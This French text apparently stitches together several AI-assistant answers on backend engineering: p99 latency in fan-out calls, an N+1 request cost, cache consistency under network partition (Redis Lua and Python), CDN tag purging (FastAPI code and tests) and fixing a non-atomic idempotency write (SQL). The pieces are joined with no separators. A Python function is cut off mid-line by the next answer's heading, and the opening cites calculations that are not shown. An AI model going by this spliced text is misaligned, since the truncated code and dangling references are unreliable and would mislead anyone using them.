# Optimisation prioritaire, avec l'ordre des gains
**Priorité 1, la branche 120 ms.** Tout effort sur les branches 40, 60 ou 90 ms est un gain nul sur le p99 tant que 120 ms domine. C'est un principe d'Amdahl appliqué au chemin critique.
**Priorité 2, plafond du gain.** Si vous ramenez la branche 120 ms à 90 ms ou moins, la nouvelle dominante devient la branche à 90 ms. Le gain maximal exploitable sur cette seule action est donc :
$$120 - 90 = 30\ \text{ms}$$
soit **25 %** de la borne actuelle. Au-delà, il faut travailler simultanément sur 120 et 90.
**Priorité 3, agir sur la queue plus que sur la médiane.** Pour un SLO p99 en fan-out, réduire la variance et la queue de la dépendance dominante rapporte davantage que réduire sa moyenne.
# Actions concrètes, par ordre de rendement
1. **Hedged request sur la branche 120 ms** : émettre une requête de secours après un délai fixé (par exemple au p95 de cette dépendance), retenir la première réponse. C'est le levier le plus efficace contre les queues, au prix d'un surcoût de trafic borné (typiquement quelques pourcents si le seuil est au p95).
2. **Timeout par dépendance plus réponse dégradée** : si la branche 120 ms est non essentielle, la rendre optionnelle avec un budget de 90 ms et une valeur de repli. Cela transforme la jointure complète en jointure partielle et fait tomber la borne à 90 ms. C'est souvent le seul moyen de casser réellement le plancher.
3. **Supprimer la jointure bloquante quand c'est possible** : réponse partielle immédiate puis complément (streaming, chargement différé côté client). Le $\max$ disparaît du chemin critique perçu.
4. **Cache sur la branche dominante** : un taux de hit $h$ ne supprime pas la queue, il la réduit ; avec $h$ élevé, la branche sort du p99 seulement si $1-h < 0{,}25\ \%$, ce qui est exigeant. À vérifier par mesure, pas à supposer.
5. **Budget d'erreur et de latence explicite** : imposer contractuellement un p99,75 par dépendance, pas un p99, conformément au calcul ci-dessus.
6. **Réduire l'overhead $\varepsilon$** : connexions persistantes, pooling, évitement d'une file d'attente locale à concurrence insuffisante. Si le pool de connexions sature, le parallélisme est illusoire et l'opérateur redevient partiellement additif.
# Vérification à effectuer sur vos données
- Mesurer le $p_{99}$ observé de l'endpoint et le comparer à 120 ms. Un écart important au-dessus signale soit l'amplification de queue, soit un parallélisme dégradé, soit un overhead $\varepsilon$ non négligeable.
- Tracer la distribution jointe pour tester l'indépendance : calculer le taux réel de requêtes où au moins une branche dépasse son p99, et le comparer aux 3,94 % théoriques.
- Instrumenter par branche (histogrammes, pas des moyennes) pour identifier laquelle domine réellement le p99, requête par requête. La branche nominalement la plus lente n'est pas toujours celle qui domine chaque violation.
# Risques et limites
- **La borne 120 ms n'est pas un objectif atteignable**, seulement un plancher théorique. La présenter comme le p99 réel serait une erreur de composition des quantiles.
- **L'indépendance est une hypothèse non vérifiée** ici, et elle est fréquemment fausse en production.
- Les **hedged requests** augmentent la charge sur la dépendance déjà la plus lente : risque d'effet d'emballement si elle est saturée. À protéger par un limiteur et un disjoncteur.
- Un **timeout agressif** convertit de la latence en erreurs ou en dégradation fonctionnelle : c'est un arbitrage produit, pas purement technique.
- Les valeurs 40, 60, 90, 120 ms sont celles que vous fournissez ; je ne les ai pas mesurées et je ne peux pas les vérifier.Nombre total de requêtes : 101 Coût réseau total : 505 ms Défaut : Latence élevée due aux 101 appels séquentiels (effet cumulatif des temps d'aller-retour). Correction : - **Regrouper les requêtes** : Utiliser une seule API retournant les commandes et leurs lignes associées (jointure SQL côté serveur, réponse JSON imbriquée). - **Alternative** : Chargement parallèle des lignes (si architecture le permet) via `Promise.all()` ou batch processing, réduisant le temps à ~10 ms (1 commande + 1 batch de lignes). **Gain** : Réduction du coût réseau à 5 ms (regroupement) ou 10 ms (parallélisme).
## 1. Diagnostic: le modèle réellement observé
Le scénario décrit n'est pas un régime cohérent dégradé, c'est un régime **AP** au sens du théorème CAP: R2 continue de répondre malgré le partitionnement, donc elle abandonne la cohérence (impossibilité de garantir simultanément cohérence, disponibilité et tolérance au partitionnement, source: Wikipédia FR, article « Théorème CAP », preuve formelle attribuée à Gilbert et Lynch, 2002).
Précisément, trois modèles doivent être distingués, et votre système est probablement dans le troisième:
| Modèle | Garantie | Est-ce votre cas ? |
|---|---|---|
| Linéarisabilité | Toute lecture voit la dernière écriture validée | Non: R2 sert $v_1$ après validation de $v_2$ |
| Cohérence éventuelle | En l'absence de nouvelles écritures, toutes les lectures finissent par renvoyer la dernière valeur (garantie de **vivacité** seulement, aucune garantie de sûreté sur les états intermédiaires, source: Wikipédia EN, « Eventual consistency ») | Seulement si l'invalidation est réémise de façon fiable ou si un TTL fini existe |
| Divergence non bornée | Aucune garantie, même asymptotique | Oui, si l'invalidation est publiée en « fire and forget » sans journal, sans réessai et sans TTL |
Point souvent mal formulé: **publier une invalidation ne rend pas un système éventuellement cohérent**. La définition exige que la convergence se produise finalement (source: Wikipédia EN, « Eventual consistency »). Un message perdu pendant la partition, sans mécanisme de rattrapage, laisse $v_1$ en place indéfiniment: c'est une violation de la vivacité, pas un simple retard.
Deux sous-propriétés sont également perdues et méritent d'être nommées explicitement, car elles cassent l'expérience utilisateur avant de casser les données (ces noms relèvent de la taxonomie usuelle des modèles de cohérence en ingénierie distribuée; mon encyclopédie locale ne m'a pas fourni d'article dédié pour les citer):
- **Read your writes**: un client qui écrit dans R1 puis lit dans R2 ne voit pas sa propre écriture.
- **Monotonic reads**: un client qui a vu $v_2$ (via R1) puis lit $v_1$ (via R2) observe un retour en arrière dans le temps.
## 2. Risques, par ordre de gravité
1. **Risque de sécurité (le plus grave).** Si la clé porte une autorisation, un jeton révoqué, un rôle ou une liste d'accès, R2 applique une décision périmée: la révocation n'est pas effective pendant toute la durée de la partition. La fenêtre d'exposition est égale à la durée de partition, non bornée par construction.
2. **Perte de mise à jour (lost update).** Si une écriture est acceptée dans R2 à partir de $v_1$, la réconciliation ultérieure devra choisir. L'approche répandue « last writer wins » écrase silencieusement l'une des deux versions, et la détection de concurrence repose sur des estampilles ou des horloges vectorielles (source: Wikipédia EN, « Eventual consistency »). Si l'estampille est fournie par le client, la correction dépend de la synchronisation des horloges, ce que la documentation citée dans cet article souligne explicitement comme un point critique.
3. **Décision métier fausse.** Prix, stock, solde, quota, statut de commande: une lecture périmée qui déclenche un effet de bord irréversible (débit, expédition, envoi d'email) n'est pas rattrapable par la convergence ultérieure. La convergence répare la donnée, pas l'action.
4. **Contamination des dérivés.** $v_1$ recopiée dans un cache HTTP, un CDN, une page prérendue ou un index de recherche crée des copies qui ne reçoivent pas l'invalidation d'origine, donc de nouveaux points de divergence hors du périmètre du protocole.
5. **Choc à la reconnexion.** Invalidation massive au retour du réseau, donc pic de lectures simultanées vers l'autoritaire (effet de troupeau), avec risque de saturation au pire moment.
6. **Complexité de raisonnement.** Risque documenté: la cohérence éventuelle augmente la charge cognitive et produit des bogues subtils qui n'apparaissent qu'en cas de panne réseau ou de forte concurrence (source: Wikipédia EN, « Eventual consistency », citant Pessach 2013 et Kleppmann 2017).
## 3. Condition de convergence
La convergence n'est garantie que si les quatre conditions suivantes sont réunies simultanément. Les trois premières relèvent de mécanismes nommés dans la littérature citée, la quatrième est une hypothèse de la définition elle-même.
**C1. Livraison finalement garantie, ou borne temporelle indépendante des messages.**
Il faut au choix, et idéalement les deux:
- une **invalidation durable**: la mutation et son intention d'invalidation sont écrites dans un journal persistant côté R1, avec réessais et un mécanisme d'**anti-entropie** (échange périodique de versions entre répliques) et de **réconciliation** (source: Wikipédia EN, « Eventual consistency »);
- un **TTL fini** $T$ sur l'entrée de cache. Le TTL est la seule garantie qui survit à la perte totale des messages: la péremption maximale devient
$$\text{staleness}_{\max} \le T + \Delta_{\text{recharge}}$$
Sans TTL et sans journal, aucune borne n'existe.
**C2. Application idempotente et ordonnée par version.**
Chaque valeur porte une version monotone $ver$ issue du **store autoritaire** (numéro de séquence de transaction, LSN, `xmin`, ou compteur de la ligne), jamais une horloge murale de client. Règle d'écriture dans chaque cache:
$$\text{appliquer } (v, ver_{\text{new}}) \iff ver_{\text{new}} > ver_{\text{cache}}$$
Cette règle rend les mises à jour idempotentes, commutatives et insensibles au réordonnancement. C'est exactement ce qui fait passer d'une simple cohérence éventuelle à une **cohérence éventuelle forte (SEC)**, définie comme la garantie de sûreté supplémentaire selon laquelle deux nœuds ayant reçu le même ensemble non ordonné de mises à jour sont dans le même état, les CRDT étant l'implémentation usuelle de cette propriété (sources: Wikipédia EN, « Eventual consistency », section Strong eventual consistency, citant Shapiro et al. 2011; Wikipédia FR, « Théorème CAP », qui désigne la SEC comme la meilleure solution connue pour l'arbitrage AP).
**C3. Réparation avant la lecture suivante.** La réconciliation des écritures concurrentes doit intervenir avant la prochaine lecture, et peut être planifiée en **read repair**, **write repair** ou **réparation asynchrone**, chaque option déplaçant le coût respectivement sur la lecture, l'écriture ou une tâche de fond (source: Wikipédia EN, « Eventual consistency »).
**C4. Quiescence.** La définition ne promet la convergence que « si aucune nouvelle mise à jour n'est faite » sur l'élément (source: Wikipédia EN, « Eventual consistency »). Sur une clé constamment réécrite, la convergence est un état asymptotique jamais observé: ne la présentez jamais comme un invariant instantané.
Conclusion opérationnelle de cette section: votre condition de convergence minimale est **C1 (journal persistant plus TTL fini) et C2 (garde de version monotone)**. L'invalidation seule ne suffit pas.
## 4. La lecture forte
Une lecture forte ne peut par définition pas être servie par un cache régional isolé. Le théorème CAP interdit d'avoir en même temps une réponse et la garantie de fraîcheur pendant la partition (source: Wikipédia FR, « Théorème CAP »). Il faut donc choisir explicitement, par route et par criticité, l'un des trois mécanismes suivants. Les mécanismes B et C sont des techniques d'ingénierie établies, mais je n'ai pas de source dans mon encyclopédie locale pour les attribuer précisément; je les présente comme pratiques standard, pas comme faits sourcés.
**A. Lecture autoritaire, arbitrage CP.** La lecture contourne le cache et traverse le point de sérialisation unique (leader ou quorum majoritaire du store). Pendant la partition, R2 ne peut pas répondre: elle doit **échouer en mode fermé** (HTTP 503, jamais un repli silencieux sur $v_1$). C'est la seule option qui approche la linéarisabilité. Coût: latence interrégionale et perte de disponibilité locale.
**B. Bail de lecture (lease) de durée $L$.** Un cache n'a le droit de servir la clé que s'il détient un bail valide. L'écrivain, pour valider $v_2$, attend soit l'accusé de tous les détenteurs, soit l'expiration $L$. Une R2 partitionnée cesse mécaniquement de servir au plus tard après $L$, donc:
$$\text{staleness}_{\max} \le L$$
C'est un compromis borné et vérifiable, mais il dépend d'une borne de dérive d'horloge: il faut prendre une marge $\varepsilon$ et raisonner sur $L - \varepsilon$.
**C. Lecture forte par jeton de version (cohérence de session).** Le client transporte la version minimale acceptable $v_{\min}$ obtenue lors de sa dernière écriture. Le cache sert seulement si $ver_{\text{cache}} \ge v_{\min}$, sinon il tente un read through vers l'autoritaire, sinon il refuse. Cela restaure `read your writes` et `monotonic reads`, mais **ce n'est pas de la linéarisabilité**: un tiers sans jeton peut toujours lire $v_1$. Ne la vendez pas comme lecture forte dans votre documentation.
Recommandation de conception: classez les clés, ne cherchez pas une garantie unique. Autorisations, révocations, soldes et unicité en A ou B avec $L$ court. Catalogue, contenu, agrégats en cohérence éventuelle forte avec TTL, plus C pour les sessions actives.
## 5. Implémentation de référence
Garde de version côté cache, script Lua Redis atomique. Je ne l'ai pas exécuté, il est raisonné ligne à ligne mais doit être testé chez vous.
```lua
-- set_if_newer.lua
-- KEYS[1] : clé de cache
-- ARGV[1] : version autoritaire (entier monotone, issu du store)
-- ARGV[2] : charge utile sérialisée
-- ARGV[3] : TTL en secondes (obligatoire, > 0)
local cur = redis.call('HGET', KEYS[1], 'ver')
if cur and tonumber(cur) >= tonumber(ARGV[1]) then
return 0 -- rejeu ou message en retard : ignoré
end
redis.call('HSET', KEYS[1], 'ver', ARGV[1], 'val', ARGV[2])
redis.call('EXPIRE', KEYS[1], tonumber(ARGV[3]))
return 1
```
Invalidation exprimée comme une mise à jour de version, donc idempotente elle aussi:
```lua
-- invalidate_if_newer.lua
-- KEYS[1] : clé, ARGV[1] : version de la mutation
local cur = redis.call('HGET', KEYS[1], 'ver')
if cur and tonumber(cur) >= tonumber(ARGV[1]) then
return 0
end
redis.call('DEL', KEYS[1])
redis.call('SET', KEYS[1] .. ':tombstone', ARGV[1], 'EX', 3600)
return 1
```
La pierre tombale versionnée empêche une lecture concurrente en vol de réinsérer $v_1$ après le `DEL`, cas classique de course entre read through et invalidation.
Lecture avec exigence de fraîcheur explicite:
```python
from dataclasses import dataclass
STALE_OK = "stale_ok" # cohérence éventuelle
SESSION = "session" # read your writes via v_min
STRONG = "strong" # autoritaire, échec en mode fermé
@dataclass
class Reponse:
valeur: object
version: int
origine: str # "cache" | "authoritative"
class LectureIndisponible(Exception):
"""Le niveau de fraîcheur demandé ne peut pas être garanti maintenant."""
def lire(cle, niveau, v_min=0, cache=None, store=None, lease=None):
if niveau == STRONG:
# aucun repli sur le cache : en partition, on refuse de répondre
val, ver = store.lire_quorum(cle) # lève si quorum inatteignable
cache.set_if_newer(cle, ver, val, ttl=60)
return Reponse(val, ver, "authoritative")
entree = cache.get(cle) # (val, ver) ou None
if niveau == SESSION:
if entree and entree.ver >= v_min:
return Reponse(entree.val, entree.ver, "cache")
val, ver = store.lire_quorum(cle)
if ver < v_min:
raise LectureIndisponible("version autoritaire < v_min attendu")
cache.set_if_newer(cle, ver, val, ttl=60)
return Reponse(val, ver## 1. Diagnostic
Le même contenu (article 42) est matérialisé dans trois objets de cache distincts, avec des durées de vie et des URL différentes :
| URL cachée | Rôle | Dépend de l'article 42 ? |
|---|---|---|
| `/article/42` | page canonique | oui, totalement |
| `/topic/7` | listing thématique | oui, partiellement (titre, extrait, date) |
| `/home` | listing global / une | oui, partiellement, et de façon conditionnelle |
Une purge par URL est fragile ici : elle oblige l'application à connaître l'ensemble exact des URL dérivées (pagination `/topic/7?page=2`, variantes de langue, flux RSS, réponses API JSON, image Open Graph). Le tag inverse la dépendance : chaque réponse déclare à l'edge les entités dont elle dérive, et la purge cite l'entité, pas l'emplacement. Ce principe de purge par tag (aussi appelée clé de substitution) est une fonctionnalité standard des CDN modernes ; en revanche, je ne peux pas vérifier hors ligne le nom exact de l'en-tête chez chaque fournisseur, je le signale au point 6.
## 2. Décision recommandée, quatre clés de purge
Granularité choisie : **une clé par entité invalidante**, jamais par page.
| # | Clé de tag | Portée d'invalidation | Émise sur |
|---|---|---|---|
| 1 | `art:42` | toutes les représentations de l'article : HTML canonique, AMP, `GET /api/articles/42`, image OG, page imprimable | `/article/42` et toute réponse contenant le corps de l'article |
| 2 | `art-card:42` | uniquement les **fragments de vignette** (titre, extrait, image, date) réutilisés ailleurs | `/topic/7`, `/home`, flux, résultats de recherche |
| 3 | `topic:7` | toutes les pages du thème 7, pagination et tri inclus (`?page=2`, `?sort=recent`), plus le flux RSS du thème | `/topic/7` et dérivées |
| 4 | `list:home` | page d'accueil et ses variantes (langue, device class, pagination de la une) | `/home` |
Mapping résultant, ce que chaque page déclare :
| Page | Tags déclarés |
|---|---|
| `/article/42` | `art:42` |
| `/topic/7` | `topic:7`, `art-card:42`, `art-card:<autres ids affichés>` |
| `/home` | `list:home`, `art-card:42`, `art-card:<autres ids affichés>` |
Le gain est ici : une **correction de coquille dans le corps** purge `art:42` seulement, `/home` et `/topic/7` restent chaudes. Une **modification du titre ou de l'extrait** purge `art:42` + `art-card:42`, ce qui atteint `/home` et `/topic/7` sans les purger entièrement, donc sans invalider les vignettes des autres articles. Un **changement de rubrique ou de dépublication** purge en plus `topic:7` et `list:home`.
## 3. Actions concrètes
Étape 1, émission des tags côté origine. Règle : la vue qui rend un fragment ajoute le tag correspondant. Le tag est calculé, jamais écrit en dur.
Étape 2, table de décision de purge selon la nature de la modification :
| Modification | Clés à purger |
|---|---|
| Corps, notes de bas de page, contenu invisible en liste | `art:42` |
| Titre, extrait, image de couverture, date affichée | `art:42`, `art-card:42` |
| Changement de thème (7 vers 9) | `art:42`, `art-card:42`, `topic:7`, `topic:9`, `list:home` |
| Dépublication ou suppression | `art:42`, `art-card:42`, `topic:7`, `list:home` |
| Mise en avant en une | `art-card:42`, `list:home` |
Étape 3, purge déclenchée après commit de la transaction de publication, jamais avant, sinon l'edge peut recharger l'ancienne version depuis l'origine.
## 4. Code
Émission des tags (FastAPI, en-tête générique, adaptateur par fournisseur isolé) :
```python
# cache_tags.py
from typing import Iterable
TAG_HEADER_BY_PROVIDER = {
# Le nom d'en-tete depend du fournisseur : a confirmer sur sa doc officielle.
"generic": "Cache-Tag",
"varnish_xkey": "xkey",
}
def article_tags(article_id: int) -> list[str]:
return [f"art:{article_id}"]
def article_card_tags(article_id: int) -> list[str]:
return [f"art-card:{article_id}"]
def build_tag_header(tags: Iterable[str], provider: str = "generic") -> tuple[str, str]:
# Deduplication + tri : en-tete stable, donc diffs et logs comparables.
uniq = sorted(set(t.strip() for t in tags if t and t.strip()))
if not uniq:
raise ValueError("Aucun tag de cache : reponse non purgeable, refus explicite.")
return TAG_HEADER_BY_PROVIDER[provider], ",".join(uniq)
```
```python
# routes.py
from fastapi import APIRouter, Response, HTTPException
from cache_tags import article_tags, article_card_tags, build_tag_header
router = APIRouter()
@router.get("/article/{article_id}")
def get_article(article_id: int, response: Response):
art = repo.get_article(article_id) # requete parametree cote repo
if art is None:
raise HTTPException(status_code=404)
name, value = build_tag_header(article_tags(article_id))
response.headers[name] = value
response.headers["Cache-Control"] = "public, max-age=60, s-maxage=86400"
return render_article(art)
@router.get("/topic/{topic_id}")
def get_topic(topic_id: int, response: Response, page: int = 1):
cards = repo.list_topic_cards(topic_id, page=page) # requete parametree
tags = [f"topic:{topic_id}"]
for c in cards:
tags += article_card_tags(c.id)
name, value = build_tag_header(tags)
response.headers[name] = value
response.headers["Cache-Control"] = "public, max-age=30, s-maxage=3600"
return render_topic(topic_id, cards, page)
@router.get("/home")
def get_home(response: Response):
cards = repo.list_home_cards()
tags = ["list:home"] + [t for c in cards for t in article_card_tags(c.id)]
name, value = build_tag_header(tags)
response.headers[name] = value
response.headers["Cache-Control"] = "public, max-age=30, s-maxage=600"
return render_home(cards)
```
Purge côté application, avec calcul du jeu minimal de clés :
```python
# purge.py
FIELDS_AFFECTING_CARDS = {"title", "excerpt", "cover_image", "published_at", "slug"}
def purge_keys_for_update(article_id: int, changed_fields: set[str],
old_topic: int | None, new_topic: int | None,
unpublished: bool = False) -> list[str]:
keys = {f"art:{article_id}"}
if changed_fields & FIELDS_AFFECTING_CARDS or unpublished or old_topic != new_topic:
keys.add(f"art-card:{article_id}")
if old_topic is not None and (old_topic != new_topic or unpublished):
keys.add(f"topic:{old_topic}")
if new_topic is not None and old_topic != new_topic:
keys.add(f"topic:{new_topic}")
if unpublished or old_topic != new_topic:
keys.add("list:home")
return sorted(keys)
```
L'appel HTTP de purge doit être : HTTPS uniquement, jeton de purge stocké dans un coffre à secrets et jamais journalisé, corps limité aux clés calculées, tentatives rejouables (la purge par tag est idempotente), et échec en mode fermé, c'est-à-dire qu'un échec de purge lève une alerte et déclenche un repli sur une purge plus large plutôt que de laisser du contenu périmé silencieusement.
## 5. Vérification
Test unitaire de la logique de purge, avec assertions réelles :
```python
def test_corps_seul_ne_purge_pas_les_listes():
assert purge_keys_for_update(42, {"body"}, 7, 7) == ["art:42"]
def test_titre_purge_les_vignettes():
assert purge_keys_for_update(42, {"title"}, 7, 7) == ["art-card:42", "art:42"]
def test_changement_de_topic():
assert purge_keys_for_update(42, {"topic_id"}, 7, 9) == [
"art-card:42", "art:42", "list:home", "topic:7", "topic:9"
]
def test_depublication():
assert purge_keys_for_update(42, set(), 7, 7, unpublished=True) == [
"art-card:42", "art:42", "list:home", "topic:7"
]
```
Ces assertions sont cohérentes avec le code ci-dessus par lecture ligne à ligne ; je ne les ai pas exécutées, car elles dépendent de votre module réel.
Contrôles d'exploitation à faire en recette :
1. `curl -sI https://votre-domaine/topic/7` et vérifier que l'en-tête de tags contient bien `topic:7` et `art-card:42`.
2. Modifier le corps seul, purger, puis vérifier que `/article/42` revient avec un statut de cache MISS puis HIT, tandis que `/home` reste en HIT sans revalidation.
3. Mesurer le taux de succès du cache avant et après, par route, pour confirmer que la purge ciblée n'écroule pas le taux global.
4. Vérifier la longueur totale de l'en-tête de tags sur une page de listing longue, les fournisseurs imposent des limites de taille et de nombre de tags par réponse ; contrôlez la valeur exacte dans la documentation officielle de votre CDN.
## 6. Risques et limites
Le nom exact de l'en-tête d'émission des tags, la limite de nombre de tags par réponse et la limite de clés par requête de purge dépendent du fournisseur. Mes outils locaux, l'encyclopédie hors ligne interrogée ne contient aucun article pertinent sur la purge CDN, ne me permettent pas de vérifier ces valeurs ; ma mémoire de modèle sur ce point peut être périmée. Confirmez-les sur la documentation officielle de votre CDN avant mise en production.
Autres risques :
- **Caches intermédiaires non taggables** : proxys d'opérateurs, cache navigateur, et cache applicatif interne ne comprennent pas vos tags. Gardez un `max-age` client court et un `s-maxage` long, et versionnez les URL des actifs statiques.
- **Variantes non couvertes** : si vous servez des variantes par `Vary` (langue, device, cookie de test A/B), vérifiez que la purge par tag invalide bien toutes les variantes d'un même objet, ce comportement est spécifique au fournisseur.
- **Explosion de cardinalité** : une page de listing de 100 vignettes déclare 101 tags. Au delà d'un seuil, préférez un tag d'agrégat par bloc, au prix d'une invalidation moins fine.
- **Fenêtre d'incohérence** : entre le commit et la fin de propagation de la purge sur tous les points de présence, des utilisateurs voient l'ancienne version. Cette fenêtre est non nulle et non garantie ; ne bâtissez aucune règle métier, notamment de retrait légal de contenu, sur l'hypothèse d'une purge instantanée.
- **Purge non destructive mais coûteuse** : une purge trop large provoque un afflux de requêtes vers l'origine. Prévoyez un verrouillage anti, ruée, coalescence de requêtes à l'edge, avant tout élargissement de purge.## 1. Défaut
**Écriture double non atomique (dual write) : violation de l'atomicité.**
La ressource et la clé d'idempotence forment un seul invariant métier, « toute ressource créée est rattachée à exactement une clé consommée », mais elles sont validées par deux commits distincts. Le premier commit est durable, le second n'a jamais eu lieu. L'état résultant est un état intermédiaire observable, précisément ce que l'atomicité interdit : « un système atomique doit garantir l'atomicité dans toutes les situations, y compris les pannes de courant, les erreurs et les crashs » et « une garantie d'atomicité empêche que les mises à jour de la base de données ne se produisent que partiellement » (Wikipédia FR, *Propriétés ACID*).
Point important à ne pas confondre : ce n'est **pas** un défaut de durabilité. La transaction 1 a été correctement rendue durable (Wikipédia FR, *Propriétés ACID*, section Durabilité). Le défaut est que la frontière transactionnelle a été tracée au mauvais endroit : elle ne couvre pas l'invariant. L'ordre choisi aggrave le cas, puisque l'effet de bord est validé avant le témoin qui sert à le détecter.
Second défaut, corollaire : la ressource créée est **orpheline** au sens du registre d'idempotence, et le client n'a probablement jamais reçu la réponse (le crash précède l'accusé de réception). Il y a donc divergence entre l'état réel du serveur et l'état connu du client.
## 2. Effet au rejeu
Le client, n'ayant pas reçu de réponse, rejoue la requête avec la **même** clé. Le service consulte le registre, ne trouve rien, et conclut à tort qu'il s'agit d'une première exécution.
| Cas | Contrainte métier présente | Résultat du rejeu |
|---|---|---|
| A | Aucune unicité naturelle | **Doublon silencieux** : deux ressources distinctes, deux identifiants, deux effets métier (facturation, paiement, envoi). L'idempotence est rompue : $f \circ f \neq f$, alors que l'idempotence exige exactement $f \circ f = f$ (Wikipédia FR, *Idempotence*) |
| B | Unicité naturelle existante | Violation d'unicité, erreur 409 ou 500 renvoyée au client, alors que la ressource **existe** côté serveur. Le client conclut à un échec définitif et compense à tort, ou boucle en rejeu perpétuel |
| C | Deux rejeux concurrents | Course entre deux exécutions « premières », doublon multiplié, ou interblocage selon le niveau d'isolation (Wikipédia FR, *Propriétés ACID*, section Isolation) |
Dans les trois cas, le système est incapable de distinguer « jamais exécuté » de « exécuté mais non enregistré ». C'est l'ambiguïté fondamentale introduite par le défaut.
Précision de méthode : le fait qu'un rejeu se soit bien passé N fois en recette ne prouve rien sur la propriété universelle d'idempotence. Un nombre fini de vérifications ne établit pas un invariant ; seul un invariant garanti par le moteur transactionnel (contrainte plus atomicité) le fait.
## 3. Correction transactionnelle
Principe : **fusionner les deux écritures dans une seule transaction**, et écrire la clé **avant** la ressource dans cette transaction. Le témoin doit être posé en premier pour que le verrou d'unicité sérialise les rejeux concurrents.
```sql
BEGIN; -- isolation READ COMMITTED suffisante ici, l'unicité fait le travail
-- 1) Pose du témoin AVANT tout effet. Sert de verrou de sérialisation.
INSERT INTO idempotency_key (key, scope, endpoint, request_hash, status)
VALUES ($1, $2, $3, $4, 'in_flight')
ON CONFLICT (scope, endpoint, key) DO NOTHING
RETURNING id;
-- 0 ligne retournee => clé déjà connue : voir branche REJEU ci-dessous
-- 2) Effet métier, rattaché au témoin par clé étrangère
INSERT INTO resource (id, idempotency_key_id, payload)
VALUES ($5, $6, $7);
-- 3) Mémorisation de la réponse exacte à rejouer
UPDATE idempotency_key
SET status = 'completed',
response_status = 201,
response_body = $8,
resource_id = $5
WHERE id = $6;
COMMIT;
```
Branche REJEU, quand l'`INSERT` de l'étape 1 ne retourne aucune ligne :
```sql
-- Lecture verrouillante : si un rejeu concurrent est encore en cours,
-- ce SELECT attend son COMMIT ou son ROLLBACK, ce qui lève l'ambiguïté.
SELECT status, response_status, response_body, request_hash
FROM idempotency_key
WHERE (scope, endpoint, key) = ($2, $3, $1)
FOR SHARE;
```
Résolution des trois issues :
- `request_hash` différent du hash de la requête courante : réutilisation abusive de la clé, répondre **422** sans exécuter.
- `status = 'completed'` : renvoyer `response_status` et `response_body` tels quels, **sans réexécuter**. C'est la définition opérationnelle de l'idempotence.
- `status = 'in_flight'` après attente du verrou : exécution concurrente encore vivante ou processus mort, répondre **409** avec `Retry-After` et laisser un balayage horodaté nettoyer les témoins expirés.
Pourquoi cela corrige le crash : quel que soit l'instant du crash avant le `COMMIT`, le rollback détruit **et** la clé **et** la ressource. Le rejeu repart d'un état vierge et réussit proprement. Après le `COMMIT`, les deux existent ensemble et le rejeu renvoie la réponse mémorisée. L'état intermédiaire fautif devient inatteignable, non par convention applicative, mais par construction du moteur.
Cas où une seule transaction ne suffit pas : si l'effet de bord est **externe** à la base (appel PSP, envoi de courriel, publication de message), aucune transaction SQL ne peut l'englober. Il faut alors un **outbox transactionnel** : la transaction ci-dessus insère en plus une ligne dans `outbox`, et un consommateur séparé publie l'événement avec sa propre clé d'idempotence, en at-least-once assumé côté récepteur. C'est un déplacement du problème vers un point où il est traitable, pas une suppression du problème. Je le présente comme le motif d'architecture standard pour ce cas, sur la base de mon raisonnement d'ingénierie et non d'une source que mes outils me permettent de citer ici.
## 4. Contraintes
La contrainte est ce qui rend le défaut structurellement impossible, et non seulement improbable. Elle relève de la cohérence : « toute donnée écrite dans la base de données doit être valide selon toutes les règles définies, y compris les contraintes » et « l'intégrité référentielle garantit la relation clé primaire-clé étrangère » (Wikipédia FR, *Propriétés ACID*, section Cohérence).
```sql
CREATE TABLE idempotency_key (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
key text NOT NULL,
scope text NOT NULL, -- tenant ou clé d'API : évite la collision inter-clients
endpoint text NOT NULL, -- une même clé sur 2 routes = 2 opérations distinctes
request_hash bytea NOT NULL, -- SHA-256 du corps canonicalisé
status text NOT NULL,
response_status int,
response_body jsonb,
resource_id uuid,
created_at timestamptz NOT NULL DEFAULT now(),
expires_at timestamptz NOT NULL,
-- CONTRAINTE 1 : unicité de la clé dans son périmètre. Coeur du mécanisme.
CONSTRAINT uq_idem UNIQUE (scope, endpoint, key),
-- CONTRAINTE 2 : machine à états fermée, pas de statut libre
CONSTRAINT ck_status CHECK (status IN ('in_flight','completed','failed')),
-- CONTRAINTE 3 : un témoin 'completed' porte obligatoirement sa réponse
CONSTRAINT ck_completed CHECK (
status <> 'completed'
OR (response_status IS NOT NULL AND response_body IS NOT NULL)
)
);
CREATE TABLE resource (
id uuid PRIMARY KEY,
-- CONTRAINTE 4 : NOT NULL + FK. Une ressource orpheline devient inreprésentable.
idempotency_key_id bigint NOT NULL
REFERENCES idempotency_key(id) ON DELETE RESTRICT,
payload jsonb NOT NULL,
-- CONTRAINTE 5 : au plus une ressource par clé consommée
CONSTRAINT uq_resource_per_key UNIQUE (idempotency_key_id)
);
-- CONTRAINTE 6 : filet de sécurité indépendant du registre d'idempotence.
-- Exemple : une seule commande active par (client, référence externe).
CREATE UNIQUE INDEX uq_resource_business
ON resource ((payload->>'customer_id'), (payload->>'external_ref'))
WHERE payload->>'state' <> 'cancelled';
```
Rôle de chaque contrainte dans la neutralisation du défaut :
| Contrainte | Ce qu'elle rend impossible |
|---|---|
| 1, `UNIQUE (scope, endpoint, key)` | Deux exécutions acceptées pour une même clé, y compris en concurrence : elle fournit le point de sérialisation |
| 2 et 3, `CHECK` | Un témoin dans un état indéterminé, ou « terminé » sans réponse rejouable |
| 4, `NOT NULL` + FK | La ressource orpheline du scénario de crash : le schéma refuse de la représenter |
| 5, `UNIQUE (idempotency_key_id)` | Le doublon rattaché à une même clé, si un bug applicatif court-circuitait la logique |
| 6, unicité métier | Le doublon issu d'un client qui rejoue sans clé ou avec une clé neuve, défaut que l'idempotence technique ne couvre pas |
| `expires_at` | La croissance non bornée du registre, avec purge par balayage. À dimensionner strictement au-delà de la fenêtre de rejeu maximale des clients |
Le point critique et fréquemment manqué est la **contrainte 4**. Les contraintes 1 et 5 protègent le registre, mais seule la clé étrangère `NOT NULL` élimine l'état exact décrit dans votre énoncé, une ressource durable sans clé enregistrée. Sans elle, la correction reste une convention applicative, révocable par le prochain développeur.
## Limites et vérification
- **Ce que garantit cette correction** : l'intégrité de l'invariant et l'idempotence des créations sous les hypothèses ACID du SGBD. Elle ne garantit ni l'authenticité de la clé, ni la confidentialité, ni la disponibilité, ce sont quatre propriétés distinctes.
- **Ce qu'elle ne garantit pas** : l'unicité vue par le client si celui-ci génère une clé neuve à chaque tentative. L'idempotence est un contrat à deux, la contrainte 6 en est le seul rattrapage côté serveur.
